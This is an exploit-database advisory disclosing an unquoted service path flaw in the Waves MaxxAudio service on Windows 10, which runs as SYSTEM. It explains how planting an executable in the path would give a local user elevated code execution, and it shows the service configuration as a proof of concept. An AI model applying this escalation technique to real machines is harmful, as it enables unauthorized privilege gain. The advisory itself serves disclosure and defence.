Waves Audio Service - Unquoted Service Path Privilege Escalation Vulnerability

2016-10-07T00:00:00
ID 1337DAY-ID-25367
Type zdt
Reporter Ross Marks
Modified 2016-10-07T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            Waves Audio Service:    http://www.maxx.com
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Max audio drivers (dell default ones) installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\WINDOWS\system32>sc qc WavesSysSvc
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: WavesSysSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Waves Audio Services
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

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